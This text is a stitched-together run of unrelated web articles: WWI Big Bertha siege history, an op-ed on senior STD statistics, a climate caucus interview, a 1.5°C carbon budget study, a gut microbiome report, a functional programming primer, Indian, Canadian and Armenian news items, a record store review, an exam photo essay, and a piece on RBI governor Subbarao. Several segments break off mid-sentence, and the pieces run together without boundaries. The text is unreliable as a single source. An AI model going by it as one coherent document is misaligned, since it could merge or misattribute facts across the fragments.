Following the defeat of the Western Allies at Charleroi and at Mons, the British Expeditionary Force withdrew past Maubeuge, their base of operations after arriving in France. On 24 August 1914, the advancing Germans arrived at the fortresses of Maubeuge and laid siege to its garrison of 45,000 soldiers. The next day, the VII Reserve Corps were left behind the main German armies to take the city.[24] Bombardment of the forts began on 30 August, with KMK Battery 3 tasked with reducing Fort Sarts, but it mistakenly shelled an interval fortification in front of Sarts. By 5 September, a hole in the fortress ring had been opened by German 21 cm guns, but they had by now exhausted their ammunition supply. To widen that gap, the siege guns then expended their remaining ammunition against Forts Leveau, Héronfontaine, and Cerfontaine on 7 September, and destroyed them in quick succession. The two remaining French forts surrendered that same day and the Germans occupied Maubeuge on 8 September.[25]
With Maubeuge taken, German siege guns were available for an attack on Paris, but Germany's defeat at the Battle of the Marne blocked the advance of the 1st and 2nd Armies, and the guns were instead sent to Antwerp.[26] King Albert I had ordered a general retreat to Antwerp on 18 August, and his army arrived in the city two days later. From Antwerp, Albert made attacks on the German flank on 24–25 August and 9 September, prompting General Alexander von Kluck of the 1st Army to send the III Reserve Corps to seize Antwerp.[27] It arrived and partially surrounded Antwerp from the southwest on September 27, and bombardment began the next day. KMK Battery 3 arrived on 30 September and opened fire on the Fort de Lier [nl], whose artillery narrowly missed the battery. The fort was abandoned by its garrison on 2 October, allowing KMK Battery 3 to attack and destroy the Fort de Kessel [nl] in a single day. The battery then moved to attack the Fort de Broechem [nl], which was also destroyed within two days.[28] From 7–9 October, the Belgian army fled from Antwerp and the city surrendered on 10 October.[27]
Early in 1916, all 42 cm guns were assigned to the 5th Army, which amassed a total of 24 siege guns, the highest concentration of them during the war.[29] The Battle of Verdun was opened on 21 February 1916 with an intense, nine-hour long artillery barrage.[30] The 42 cm guns were tasked with suppressing the artillery of Forts Vaux, Douaumont, Souville [fr], and Moulainville [fr], but were unable to penetrate the concrete of the modern fortresses. On the second day of the battle, both of KMK Battery 7's M-Gerät guns were destroyed by premature detonations and KMK Batteries 5 and 6 both lost an M-Gerät each to the same cause. Most of the siege guns at Verdun were moved north in July to participate in the Battle of the Somme, and by September the only M-Gerät units left in Verdun were KMK Batteries 3 and 6.[31]
In the last two years of the war, KMK batteries that suffered losses of their big guns had them replaced with smaller–calibre weapons. Those that remained primarily shelled field works and often had low survivability due to malfunctions or Allied counter-battery artillery. KMK Battery 10 lost one M-Gerät to a premature detonation and the other to British warships near Ostend in August 1917 and was rearmed with captured Russian 12 cm (4.7 in) howitzers. It and KMK Battery 10 were given the four Beta-M-Geräts made during the war in early 1918. For the Spring Offensive, KMK Battery 8 was assigned to the 6th Army,[d] Battery 6 to the 2nd Army, and Battery 3 to the 18th Army. The effect of the siege guns was negligible. For Germany's final offensive in July 1918, KMK Batteries 5 and 6 were reassigned to the 7th Army at the Marne, while Batteries 3, 8, and 10 went to the 1st Army at Reims. The batteries again had little to no effect, and Battery 10 became the last German siege battery to fire on a fort, the Fort de la Pompelle. In November 1918, KMK Battery 5 surrendered its guns, the remaining two M-Gerät howitzers, to the American Expeditionary Force.[32]
Eastern Front [ edit ]
Kaunas's Fort II in ruins, 2011
On 2 May 1915, August von Mackensen launched the Gorlice-Tarnow Offensive. By the end of the month, his forces neared Przemyśl, which had been captured by the Russians from Austria-Hungary on 22 March 1915.[33] KMK Battery 6 took part in the bombardment of forts X, Xa, XI, and XIa, opened on 30 March. Two days later, the Germans took and held forts X, Xa, and XI against counterattack, compelling the Russians to abandon Przemyśl. German troops entered the city on 3 June, then took the remaining forts two days later. From 8 August, KMK Battery 6 supported the XXXX Reserve Corps's attack on Kaunas Fortress by bombing Kaunas's three westernmost forts. Although the German siege artillery's shelling of Kaunas was slow, the fortifications were outdated and were easily destroyed. By 18 August, Kaunas was overrun by the Germans. The next month, KMK Battery 6 was moved to the Serbian front to support a crossing of the Danube by the 11th Army. Firing began on 6 October, and the Germans crossed the next day to take Belgrade.[34]
To the south, KMK Batteries 3 and 5 participated in the siege of Novogeorgievsk, which the Germans had surrounded on 10 August. On 13 August, KMK Batteries 3 and 5 attacked with the siege guns from the north, shelling forts XIV, XV, and XVI. On 16 August, German infantry stormed forts XV and XVI as the artillery attacked them. A single 42 cm shell struck German troops attacking Fort XV, resulting in heavy casualties, but the Germans took the forts. The Russians abandoned the outer ring on 18 August, allowing the Germans to open a hole in the inner ring and capture Novogeorgievsk the next day. In response, the Russians abandoned fortresses wholesale during the Great Retreat. At Grodno, KMK Batteries 3, 5, and 6 were not even fully emplaced when the fortress was evacuated on 3 September.[35]
Replicas and legacy [ edit ]
The nickname "Big Bertha" appeared early in the war, as the first pair of M-Gerät guns were rushed to Belgium and destroyed Fort de Loncin. German soldiers christened the guns |
by more than 25% in the 65+ crowd, from 887 cases in 2008 to 1134 in 2012, as it rose across all age groups by a similar rate—reflecting broader testing as promulgated by newer public health recommendations and more accurate, easier to perform tests.
But in the data I looked at, rates of gonorrhea stayed the same at about 650 cases a year while syphilis rose only slightly from a numeric perspective—from 105 to 123,—a whopper of an increase if looking at rates but it’s 18 cases over 5 years using a diagnostic test that captures decades-old untreated cases (latent disease) as well as fresh infection.
No matter which data is more reflective of the situation, when small numbers are at play, it’s an old and not entirely trustworthy trick to use rates, not actual numbers. A person earning 10 dollars a week can see a 100% increase by getting a raise to 20 bucks a week—bur remains impoverished. In a similar vein a billionaire whose wealth grows by a million bucks has a tiny increase in proportion but is sitting on another million clams—a small change in percent but a handsome wad for those counting. Taking the tiny numbers in the Social Security set and reflecting the percent increases sure makes a good headline and a fine candidate for most emailed, but surely oversells the problem.
The elder-humping story though won’t die. The first wave of these reports came out in 2012 from, of course, the Brits. After an article in the Student British Medical Journal by an, um, medical student (ah the irony!) found that STDs in the British elderly (defined as those over 45 years—vigorous, un-dentured Gen-X’ers for Christ’s sake) had doubled over a ten year period. This was followed in 2012 by a spate of media articles in the US trying to grab attention using similar headlines.
The speculative explanation then and now is somewhat irresistible: people living longer healthier and therefore hornier lives; the nursing home as a latter-day dorm complete with winking cads on the prowl; drugs to pump up the excitement, though it’s Viagra this go-around, not pot or alcohol; a demographic advantage to the guys that finally fulfills the age-old promise of the Jan and Dean classic, Surf City: “Two girls for every boy” and plenty of that most-teenage of all elements, crushing boredom.
Plus there is an element of truth in this—at least by the extremely modest increase in cases and the stories, perhaps true, of nursing home animal house behavior.
But in the telling, this entire construct seems less like a second chance to get laid than a lame Neil Simon play. Which is not awful I suppose. There is however contained in the attitude of those who do not consider themselves randy seniors (most everyone) a destructive force both to the elderly and to STD control nationally. The stories are at their base quite insulting and belittling: old people as a focus of almost anthropologic study, a curious and somewhat delightful if primitive tribe that humps then clips coupons then humps some more. The tone alternates between old-school young-guy prurience and a condescending, “oh look at how well you’re doing!” tone reserved for the very young and the very old (or an adored pet).
The larger problem though is the deflection of the real story in STDs. Sexually transmitted disease is, was, and always will be almost entirely a young person’s preserve: chlamydia rates for example in the 65+ crowd are one-one-thousandth that of those aged 20 to 24: 2 per 100,000 compared to more than 2000 per 100,000. Sorry, seniors, you just can’t compete.
I think it’s best if we deep-six these stories and focus on the actual problems at hand. It should not be news that people over 60 and 70 are having sex—Masters and Johnson (and biblical Abraham for that matter) told us that ages and Ages ago. And of course old and young alike need to be mindful of infection risk in order to take steps—condoms, restraint, monogamy, etc—to lower the chances of becoming ill. But here is what we need to pay attention to: there are worrisome and potentially dangerous increases in STD’s in people in their twenties, HIV continues to increase in many at-risk populations, and becoming old and sick is anything but cute.Rep. Curbelo: Climate change is now officially a bipartisan issue
By Flannery Winchester
Each month, Citizens’ Climate Lobby hosts an international call featuring a guest speaker to educate listeners on topics related to climate change and our Carbon Fee and Dividend proposal.
CCL’s guest speaker for March 2016 was Congressman Carlos Curbelo, a Republican representing Florida’s 26th district. He is a co-leader on the Gibson Resolution, which recognizes the impact of climate change and calls for action. Congressman Curbelo also launched the brand new Climate Solutions Caucus just last month alongside Democratic representative Ted Deutch, also from Florida.
On Saturday, Congressman Curbelo called us from the Florida Keys to give his personal take on reaching across the aisle for the good of all people and our planet. “I realized some time ago that this issue is an existential threat to where I live. Here in South Florida, regrettably, this is no longer an abstract issue. We are already witnessing the effects of climate change and sea level rise, and we know which way the trend is going.” So he and the Floridians he represents are ready for common-sense solutions to mitigate climate change, beginning with the new bipartisan Climate Solutions Caucus.
No time for party politics
Curbelo and his Democratic co-founder Deutch formed the caucus together after putting partisanship aside, so membership follows the same pattern. Each Republican interested in joining must bring a Democratic partner so they can join two-by-two, Noah’s Ark style — an appropriate metaphor, given the threat of sea level rise in the founders’ home state. This structure means the Caucus will always be truly bipartisan, no matter how large it grows. Regarding the size of the group, Curbelo said, “My initial goal is to get all of the Republicans who have signed the Gibson Resolution to join. That will mean we’ll need 13 Democrats as well—that will give us a solid base of support and a strong presence in the House.” After that, he’ll set his sights on recruiting new members.
The secret to getting Republicans on board
Here’s the big secret: they want to be on board. Curbelo says, “I have had many conversations with Republican colleagues from all over the country — even the deep South — and people are ready to move on this issue. They’re tired of the hyper-politicization of this issue. They’re tired of the demagoguery surrounding this issue. They’re tired of allowing the disingenuous to hijack the truth with regards to this issue, and they’re building the courage to move forward.” As soon as they know their constituents are behind them, they’ll begin to act.
If they do need more convincing, all Curbelo has to do is speak their language. He often likens climate change to another looming threat, saying, “Ignoring climate change is as reckless or irresponsible as ignoring our country’s growing national debt and the fiscal crisis that looms if we do not take action and make meaningful reforms.” That resonates with many conservatives and highlights the need for bold leadership. Just like with financial debt, we have a debt with the environment, and “the longer we take to act, the more painful the remedy will be.”
And if all else fails, Curbelo cracks a joke: “When my district is underwater, I’ll move to your state and run against you.”
A solution we can all agree on
Curbelo is a proponent of market-based solutions to the challenge of climate change. He told us, “We want a market-based approach that’s predictable. Families and businesses can plan and say, ‘Okay, there’s a cost to pollution, and this is how we’re going to avoid it and be more efficient.’” And a carbon fee is exactly that—a market-based approach to curbing emissions and mitigating the effects of climate change.
He went a step further to suggest that we have a de facto carbon tax right now: the EPA budget. “We don’t line item it,” he pointed out, but the EPA’s activities are more and more necessary in the face of unmitigated climate change, meaning we can expect their costs to rise. If instead we implemented a true carbon tax, it would likely be more predictable and more effective at addressing the root of the problem.
Climate action needs everyone
Curbelo expects that as the Climate Solutions Caucus grows in membership, it will gain critical mass and people will support this cause more easily. To those of us pushing our members of Congress every day to act on climate, he said, “I encourage you not to give up on anyone. There are members of Congress from states you wouldn’t think that are interested in this issue, but they are—and they’re very close to doing the right thing.”
To hear our full conversation with Representative Carlos Curbelo, including his tips for a successful lobbying session, listen to our March 2016 podcast. Thank him for his leadership on Twitter at @RepCurbelo.The most optimistic target envisaged by the Paris climate deal is still within our reach, scientists say – as long as we act urgently to seize this pivotal moment of hope and opportunity.
A new analysis has found that the agreement's most ambitious goal of limiting the increase in global average temperature to 1.5°C above pre-industrial levels isn't just aspirational – it's still a scientific possibility the world can realise if we act right away.
The deal, drafted in 2015, saw the global community come together in a historic agreement to limit global warming "to well below 2°C above pre-industrial levels and to pursue efforts to limit the temperature increase to 1.5°C above pre-industrial levels, recognising that this would significantly reduce the risks and impacts of climate change".
While the 1.5°C limit was envisaged as an aspirational target worth striving for, many scientists expressed doubt over whether it was viable, with one study finding we had just a 1 percent chance of hitting the goal, while others suggested even the 2°C limit isn't realistic.
But those grave estimates – and the sinking feelings of despair and resignation they inevitably arouse – may have been premature.
A new international study based on revised modelling of climate data contained in the IPCC Fifth Assessment Report suggests the 1.5°C benchmark is "not yet a geophysical impossibility", provided countries deliver upon more ambitious emission reductions than those already pledged.
"Our estimates suggest that we would have a remaining carbon budget equivalent to around 20 years at current emissions rates for a 2-in–3 chance of restricting end-of-century warming to below 1.5°C," explains one of the team, Richard Millar from Oxford University in the UK, in an explanatory post at Carbon Brief.
"This suggests that we have a little more breathing space than previously thought to achieve the 1.5°C limit."
The carbon budget – the total amount of greenhouse emissions we can produce and still hit the 1.5°C limit – in this case is around 240 billion tonnes of carbon (880 billion tonnes of CO2), per the team's new estimates.
If we can limit ourselves to that level of carbon output – from 2015 onwards, so the clock is already ticking – then we've got a good chance of keeping the rise in global temperatures to less than 1.5°C above pre-industrial levels by the end of the century.
Previous estimates using the same data had suggested the carbon budget was around four times lower, meaning we only had somewhere between three and five years (from 2015) before exceeding the carbon limit.
Thankfully, if the revised tally is right, we've been given another much-needed chance to right our carbon wrongs.
"That's about 20 years of emissions before temperatures are likely to cross 1.5°C," one of the researchers, climate scientist Myles Allen from Oxford University told The Times.
"It's the difference between being not doable and being just doable."
But it definitely won't be easy.
Those 880 billion tonnes of CO2 is what we'd normally emit in about 20 years, so nations will have to act fast to make sure the cuts happen – but the researchers think we can do it.
With the world adopting clean and renewable power at a rate never before seen, the global opportunity to turn away from coal and other heat-trapping sources of atmospheric pollution has never been greater, the researchers say.
"We're in the midst of an energy revolution and it's happening faster than we thought, which makes it much more credible for governments to tighten the offer they put on the table at Paris," one of the team, Michael Grubb from University College London in the UK, told The Times.
It's not every day climate scientists give you a 20-year reprieve on environmental armageddon. Here's hoping world leaders and the international community at large make the most of this brilliant, beckoning opportunity.
This is our time.
The findings are reported in Nature Geoscience.By
Editor's Note: Article Originally Featured on NPR blog; Microbiome Program researcher Purna Kashyap, MBBS, contributed to this article.
Looks like Harvard University scientists have given us another reason to walk past the cheese platter at holiday parties and reach for the carrot sticks instead: Your gut bacteria will thank you.
Switching to a diet packed with meat and cheese — and very few carbohydrates — alters the trillions of microbes living in the gut, scientists report Wednesday in the journal Nature.
The change happens quickly. Within two days, the types of microbes thriving in the gut shuffle around. And there are signs that some of these shifts might not be so good for your gut: One type of bacterium that flourishes under the meat-rich diet has been linked to inflammation and intestinal diseases in mice.
In particular, microbes that "love bile" — the Bilophila — started to dominate the volunteers' guts during the animal-based diet. Bile helps the stomach digest fats. So people make more bile when their diet is rich in meat and dairy fats.
A study last year found that blooms of Bilophila cause inflammation and colitis in mice. "But we didn't measure levels of inflammation in our subjects," David says. "That's the next step."
Instead, he says, his team's data support the overall animal model that Bilophila promotes inflammation, which could ultimately be controlled by diet.
"Our study is a proof of concept that you can modify the microbiome through diet," David says. "But we're still a long ways off from being able to manipulate the community in any kind of way that an engineer would be pleased about."
Even just classifying Bilophila as "bad bacteria" is a tricky matter, says Dr. Purna Kashyap, a gastroenterologist at Mayo Clinic in Minnesota. [Purna Kashyap, MBBS, has several projects within the Center for Individualized Medicine's Microbiome Translational Program.]
"These bacteria are members of a community that have lived in harmony with us for thousands of years," says Kashyap, who wasn't involved in the study. "You can't just pick out one member of this whole team and say it's bad. Most bacteria in the gut are here for our benefit, but given the right environment, they can turn on us and cause disease."
Full Article: NPR Blog.
Tags: Blog, Diet, gene sequencing, Genetic Testing, Genetics, genomics, individualized medicine, microbiome, NPR, personalized care, personalized medicine, UncategorizedYou should learn functional programming
Exposure to functional ideas and patterns will make you a better developer. Your software will become more intuitive, easier to understand, and typically much more concise. Combining this with functional purity and immutability will also help you write fewer bugs. You’ll end up with software that is easier to understand, with infrequent bugs, and quicker to write.
You don’t need to write in a functional language
You should learn functional patterns and practices even if your codebase is not actually written in a functional language. Most modern languages treat functions as first class citizens, so although you might not write in a functional language you can take the ideas expressed here and still apply them right away.
Benefits
Purity
Functional programming has no side effects. This means if you give a function the same input parameters, it will always give you the same output no matter what. A simple example:
function add(a, b) {
return a + b;
}
The above addition function is simple but it is pure. No matter what you give it as parameters you will always get the same result. add(2,2) is always going to return 4. Lets contrast this with an impure function.
let x = 0;
function add(a) {
x = x + a;
}
This is impure. This function mutates a value that exists outside of the scope of the function. add(2) is not a predictable function because it could have a different answer depending on what the state of x is any given time. This simple example is pretty easy to keep track of and understand. But if you extrapolate this out to large software applications that can consist of thousands or millions or lines of code, you can see how this can turn into a headache when you’re trying to debug your problems in the future.
You can immediately start writing software with this concept in mind. You’ll start to see this will not only introduce fewer bugs into your code, but it can also help improve your general workflow.
Brevity
A beautiful consequence of writing functionally is it forces you write programs that are easier to understand. You’re forced to write declaratively which is typically a lot easier to read and comprehend than imperatively written code.
Declarative Example:
function square (arr) {
return arr.map((val) => val * val);
}
Imperative Example:
function square (arr) {
let results = [];
for (let i = 0; i < arr.length; i++) {
results.push(arr[i] * arr[i]);
}
return results;
}
In the examples above we can see some obvious differences in our implementations. We are describing how we should be doing something in the imperative implementation vs. what we should be doing in the declarative one. This is what makes functional programming easier to read and understand.
The declarative square function is pretty easy to read. You’re mapping over an array and returning the square of every value. In the imperative example you’re explicitly laying out all the steps. You have to create a new return array, loop through all your values, and push a new value into your array for every value you encounter.
Abstraction
A developer’s ability to abstract out problems into understandable parts and components is incredibly important. Not only does it allow for creating software quickly but it enables other readers to understand what was written. Future maintainers will be incredibly grateful because you’ll save them time and headaches.
Very powerful patterns also emerge from functional programming, such as higher-order functions, which allow you to further abstract out your code. Higher-order functions, take a function as input and returns another function as a result. The map function is a great example.
Comprehension
Bug hunting is a part of every programmer’s daily life. Mutations make bugs harder to squash. Pure functions give you greater confidence in what your code is actually doing and prevent you from worrying about side effects you may otherwise have been unaware of. Because of this, searching for bugs becomes easier and much more straight forward. Due to the declarative style of writing, you’re programs are also shorter, which itself allows for easier comprehension.
Redux, is a beautiful functional framework used to build large complicated applications. Redux itself is small. It does not consist of a lot of code — you could sit down and read through it in an afternoon. The creator of Redux even has videos where he builds out the core functionality of Redux in front of you in only a couple of minutes. There is no “magic” in his framework. The Redux framework is simple and pure, and implementation details aren’t hidden from the programmer.
Happiness, Confidence, & Bugs
A function will always return the same output from a given input with no exceptions. I can’t emphasize enough how powerful this removal of side-effects is for your software.
Purity removes so many bugs that are found in imperative programs. It’s arguable that most bugs in large software applications can be traced back to side-effects.
Functional programming allows developers to write fewer bugs, to write less code, and to have more confidence that their programs are sound and correct. Combined, all of these result in huge improvements to not only your productivity but also your overall happiness.
Issues
Functional programming uses up a lot of memory and you can end up in scenarios where your program would run slower than if was implemented imperatively.
For example, an imperative implementation of Quicksort is pretty fast and it can be completed in place with little extra memory footprint. However, a functional implementation of this would take up a lot more memory and run somewhat slower. So in the event where performance is vital to your program an imperative solution would be the better option. But, thanks to modern machines this is rarely an issue most people have to deal with anymore.Maqsood had been treated for six months in Satna before he was brought to Rewa (Representational Image | AFP)
Satna: In a rare surgery, doctors in Madhya Pradesh's Rewa district recently removed 5 kilogram iron objects - a chain, as many as 263 coins and shaving blades - from the stomach of a man who they said is not in a good frame of mind.
The 32-year-old Mohammed Maqsood, who hails from Sohaval in Satna district, was taken to the state-run Sanjay Gandhi Medical College and Hospital in adjoining Rewa on November 18 after he complained of pains in stomach.
Dr Priyank Sharma, attached to the Sanjay Gandhi Medical College and Hospital (SGMCH), on Sunday said that they identified the cause behind Maqsood's stomachache after conducting tests and through an X-ray.
He said a team of six doctors surgically removed 10-12 shaving blades, four big needles, a chain, 263 coins, besides pieces of glasses - collectively weighing 5 kg, from the stomach of Maqsood on Friday.
He said Maqsood had been treated for six months in Satna before he was brought to Rewa.
"The patient was not in a good frame of mind and it seems he swallowed these objects secretly," Dr Sharma said, adding that Maqsood is doing well and is currently under the observation of a team of experts.Nagorno-Karabakh remains a “partly free” territory governed by a less repressive administration than Azerbaijan, the U.S. human rights group Freedom House said in an annual survey released this week.
Freedom House evaluated “political rights” and “civil liberties” in 195 countries and 15 territories, including Karabakh, on a 7-point scale, with 1 representing the most free and 7 the least free. It again rated both Karabakh and Armenia “partly free” and kept Azerbaijan in the “not free” category of nations surveyed.
What is more, the “Freedom in the World 2016” survey further downgraded Azerbaijan’s ratings, giving the authorities in Baku a median score of 6.5.
“Azerbaijan’s political rights rating declined from 6 to 7 due to an intensified crackdown on dissent, widespread irregularities surrounding the November parliamentary elections, and serious violations of the right to a fair trial in cases against journalists, opposition activists, and human rights defenders,” it explained.
“President Ilham Aliyev’s government used the polls to show its teeth to the democratic world, barring several foreign journalists from covering the process and imposing restrictions on international observer groups that led some to suspend their monitoring missions,” adds the report.
By comparison, Karabakh’s political rights and civil liberties ratings remained unchanged at 5.
Freedom House upgraded the status of the Armenian-populated unrecognized republic, which broke away from Azerbaijani rule in the early 1990s, from “not free” to “partly free” in 2013. The watchdog attributed that to Karabakh’s “competitive” July 2012 presidential election which it said featured a “genuine opposition.”
The Azerbaijani government on Thursday condemned the U.S. watchdog’s latest evaluations of Azerbaijan and especially Karabakh. “Setting aside the separatist regime created in the occupied territories of Azerbaijan in the latest annual report is yet another instance of bias shown by Freedom House,” Foreign Ministry spokesman Hikmet Hajiyev said, according to the APA news agency.
Hajiyev said that previous reports also exposed “Freedom House’s biased attitude towards Azerbaijan’s territorial integrity and sovereignty.”
Like other Western human rights groups, Freedom House has repeatedly decried the arrests and imprisonment of dozens of Aliyev critics in recent years. In 2014, it urged the United States and the European Union to consider imposing sanctions on Azerbaijani officials involved in human rights abuses.A judge has found that the RCMP unlawfully arrested a man who later excreted from his rectum small quantities of heroin, cocaine and fentanyl while in custody.
Ronjot Dhami, who has been charged with three counts of possession for the purpose of trafficking, was a passenger in a Mercedes that was pulled over by police in Kelowna in June 2014.
An RCMP officer, who had earlier been conducting surveillance on an apartment building where the Mercedes was initially spotted, saw Dhami vigorously rubbing his hands together and reaching into the vehicle’s glove box, according to a ruling by B.C. Supreme Court Justice Peter Rogers.
Then the cop, who is only identified as Const. Diachok in the judge’s ruling, noticed a marijuana joint on the front passenger seat beside Dhami.
Const. Diachok advised Dhami and the driver of the Mercedes that they were under arrest for possession of marijuana and ordered them out of the vehicle.
The cop noticed a pea-sized gob of white cream-like lotion on Dhami’s jaw and found a jar of white lotion in the footwell behind the driver’s seat, with what appeared to be a finger scoop of lotion recently taken out of the jar. In the glove box were CD cases and interior fabric with gobs of white lotion.
Diachok, who had earlier been involved in a bust in similar circumstances that resulted in a man being discovered with heroin and cocaine in his rectum, believed that Dhami had also secreted heroin or cocaine, or both, in his rectum.
He told Dhami that he was taking him back to the RCMP detachment to secure the evidence of the drugs he believed were being hidden in his rectum.
Dhami was placed in a cell in which the police had turned off the cell’s water supply and had emptied the toilet bowl, making it a “dry cell.” The cell was monitored by a video camera.
Later that night Dhami behaved in a manner that led police to believe that he’d removed the drugs and then had a bowel movement before placing the drugs back in his rectum.
The next day, while Dhami remained in police cells while his lawyer appeared on his behalf at a bail hearing, the accused was seen crouching on the floor of his cell, using a plastic utensil, a fork or a spoon, to poke little packages down through the floor drain.
Police intervened and found seven small plastic bags containing 1.24 grams of heroin, 23 bags containing 5.86 grams of crack cocaine, and 23 bags containing 4.59 grams of fentanyl.
Dhami’s lawyer argued that there weren’t sufficient grounds for police to initially believe he had drugs on his body and the judge said he “reluctantly” agreed that the arrest for possession of heroin was unlawful.
“Without some evidence that the people in the Mercedes were trafficking in drugs, the mere presence of lotion in the car and of Mr. Dhami rubbing his hands together and having a dot of lotion on his chin and rather dated information that Mr. Dhami used the nickname Kane are not enough, I think, to ground a reasonable belief that he had secreted heroin in his rectum.”
A hearing to determine whether the drug evidence will be excluded at trial is to be held at a later date.
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Is there more to this story? We’d like to hear from you about this or any other stories you think we should know about. Email vantips@postmedia.com.Like many of you, there are moments when the Retro-sense kicks in high gear and leads me to something wonderful. I had that experience last week during a lunch trip to Hollywood. I noticed a new business, The Record Parlour. Without any hesitation, my vinyl wrapped heart pointed me towards the door. Lunch would have to wait.
When I walked in, I found myself in retro rapture. The caretakers have a passion for the past as much as you and I.
Whoever was in charge was SERIOUS about their collection. This wasn’t a garage sale or smelly thrift shop where you have to dig through boxes of stuff to find the gems. The gems were on display and treated with love and respect. I spent several hours talking to the founder, taking pictures, flipping through vinyl and checking out some amazing electronics.
In their listening room, they had this gorgeous mid-century General Electric music cabinet which was lovingly restored to working condition. Yes, not only do they have an amazing collection of classic machines, they fix them up. On top of that, they even offer a 90 day warranty on all their restored items. (At the time of this writing, that cabinet was sold. At the time of my revision, one of the jukeboxes was sold.)
I had them pull some of their rare records for me to snap.
Love that Moog one… totally groovy artwork. I imagine that’s what by brain looks like when I’m floating in a daydream. I dug around the soundtracks and kids records and pulled up this little gem. I didn’t buy it, but I have my eye on it.
Something of note is that founder Chris Honetschlaeger has put EVERYTHING on sale. None of that, “wow, that looks cool but sorry you can’t buy it.” Aside from the great vinyl collection, there are all sorts of fun odds and ends you can check out. (If you look at the very bottom left, I donated my Fisher Price Movie Viewer — a little welcome gift.)
There were drawers full of old lighters, film slides and pocket knives.
I even found some great magazines and old menus! I could get lost in here for hours.
They have plenty of room for parties and it’s a great place to just hang and chat. The music curator, Chadwick Hemus, was formerly the head of vinyl at Amoeba Records. This guy is half human, half wax and I would imagine any other true LP connoisseurs are welcome to stop in and start a conversation.
Record stores are a rare breed these days. Even in the big cities, they have a hard time sticking around. So, it’s important that we stop in, enjoy them and drop a couple of bucks. At first, I was drawn in because of the stuff on sale. By the end, I was overwhelmed by the amount of passion that was on display. To find other like-minded vintage enthusiasts who handle the material with such love and care is truly the gem of The Record Parlour.
So, if you are in Hollywood, stop in at 6408 Selma Avenue. If you can’t make the trip, please show them some love on Facebook, Twitter or Instagram.Digital Trends
Examinations, tests, assessments—whatever the nomenclature, it's hard to imagine schooling without them. Testing is the most popular method of quantifying individuals' knowledge, often with the intention of objectively measuring aptitude and ability.
Test-taking is a dreaded experience that the country's kids and young adults share with their counterparts across the globe.
The ritual at its core doesn't vary much: Students sit at a table or a computer desk (or sometimes, as shown below,on the floor), pencil and/or mouse in hand, the clock ticking away mercilessly. America for its part is home to what The Atlantic has described as an "alphabet soup" of standardized tests, including: the NAEP, SBAC, PARCC, ACT, and, of course, SAT. Testing has become increasingly notorious in the U.S., to the point that tens of thousands of parents across the country have opted their kids out of standardized tests.
Test-taking appears to be more prominent in certain parts of the world, such as Asia, than in others. I struggled to find photos in the wire-service archives from Latin American countries—perhaps because of cultural differences in education or politics or socioeconomic factors.
According to Gabriel Sanchez Zinny, the author of Educación 3.0: The Struggle for Talent in Latin America, most of the region's countries refuse to participate in the Organisation for Economic Cooperation and Development's global-proficiency exam. (American students for their part have consistently performed quite terribly on it.) Some experts reason that the countries want to avoid embarrassing themselves with potentially low rankings, though others point to skepticism over the methodology. As Sanchez Zinny recently reported for the BBC: "How do we measure the quality of education in Latin America against global standards if there is an unwillingness to take part in international tests?"
Still, whether it's youngsters in Aleppo or pet groomers in Changsha, testing—from pre-exam anxiety to post-exam euphoria—is something that oddly enough, seems to unite us all.
Cadets from the National Cadet Corps take part in an examination on open ground in the northern Indian city of Allahabad on February 5, 2012. More than 2,000 cadets on took part in the examination for upper grades. (Jitendra Prakash / Reuters)
Students draw sketches during an art college entrance exam in Jinan, Shandong province, on February 10, 2014. According to local media, more than 8,000 students took the exam that day. (China Daily / Reuters)
A student wears a headlight, due to electricity shortage, as he takes his year-end examinations at a school in Aleppo's al-Sha'ar district on June 5, 2013. (Muzaffar Salaman / Reuters)
A student from University College Oxford gets "trashed" after finishing her exams in Oxford, southern England, June 7, 2013. Trashing is a practice at Oxford University in which students have all manner of messy items thrown at them by their contemporaries after finishing their exams. (Stefan Wermuth / Reuters)
Groomers cut hair of pet dogs as they attend a pet-barber qualification test in Changsha, Hunan province, April 15, 2015. (Darwin Zhou / Reuters)
Students gather at the Cestos High School to take their year-end exams, which could advance them to the next higher grade or graduation. (David Trotman Wilkins / Flickr)
Pupils prepare at the start of a mathematics exam at the Harris Academy South Norwood in South East London, March 2, 2012. (Luke McGregor / Reuters)
An Afghan teacher stands in front of pupils during a year-end examination in a school in the village of Sangarkhel in mountains of Wardak Province, Afghanistan, July 7, 2009. (Shamil Zhumatov / Reuters)
Emma Donne, a pupil at Godolphin & Latymer School, celebrates after receiving her A-level results in Hammersmith, West London, August 17, 2006. (Alessia Pierdomenico / Reuters)
Exams, of course, are often tied to both the short- and long-term success of the people who take them. It's no wonder then that students (and parents) go to such great lengths to ensure a good result. In India's cheating scandal earlier this year,parents and relatives were literally stacked on top of each other clinging to the outside walls of a high-story school building to hand the test answers to their children. And China is responding to its aforementioned cheating epidemic by using drones to spy on would-be offenders. So what's the future of exams? There's little consensus. Some think that technology—particularly the ability to track and respond to students' performance year round—will be the death knell, theoretically obviating the need for standardized tests. Perhaps the competency-based software could provide a more complete picture of an individual's knowledge, testing critics say, not just a mere snapshot of how skilled he or she is at rote memorization. Last year, Tony Little, the headmaster of the highly regarded Eton College in England (whose alumni include David Cameron and Prince Harry) famously derided London's standardized-exam system as "unimaginative" and "archaic." That system, he said, has "changed little from Victorian times" and "obliges students to sit alone at their desks in preparation for a world in which, for much of the time, they will need to work collaboratively."The Congress-led UPA government repeatedly pressed the Reserve Bank of India to cut interest rates and tried to interfere in its policy making, former bank chief D Subbarao has revealed.
In his book “Who Moved My Interest Rate?”, Subbarao writes he was pressured by Congress finance ministers Pranab Mukherjee and P Chidambaram to cut rates and that an unhappy UPA struck back by blocking RBI appointments when he refused to budge, reported the Economic Times.
Subbarao headed the RBI between 2008 and 2013 and is widely credited for steering the country deftly through the global financial crisis that sank most global economies but left India relatively unscathed.
The revelations come as the government gets ready to announce a successor to current RBI governor Raghuram Rajan, whose decision to not seek a second term was seen as a response to a bitter public campaign by BJP leader Subramanian Swamy and frequent disagreements with the finance ministry.
The Indian Express reported Subbarao rejected Chidambaram’s comment that the government and RBI were on the same page in eight of out 10 monetary policies, citing several public disagreements.
Though reports of disagreements on fiscal policy between the RBI and the governor are frequent, this is possibly the first time since liberalization was ushered in 1991 that a former governor has gone public with his grievances.
Subbarao wrote that through his tenure, the government was uncomfortable with the RBI raising interest rates and seemed convinced that monetary policy was choking growth. “The logic of why the Reserve Bank should compromise its judgment so as to become a cheerleader for the economy never appealed to me,” he wrote, as reported by the Indian Express.
Subbarao also reported a high-profile public rebuke by Chidambaram that broke with tradition to keep RBI-government differences behind closed doors.
In October 201 |
: Hmmm. The envelope doesn’t give any hints as to what it’s actually about. Must be they think people who get their magazine want to keep it a secret.
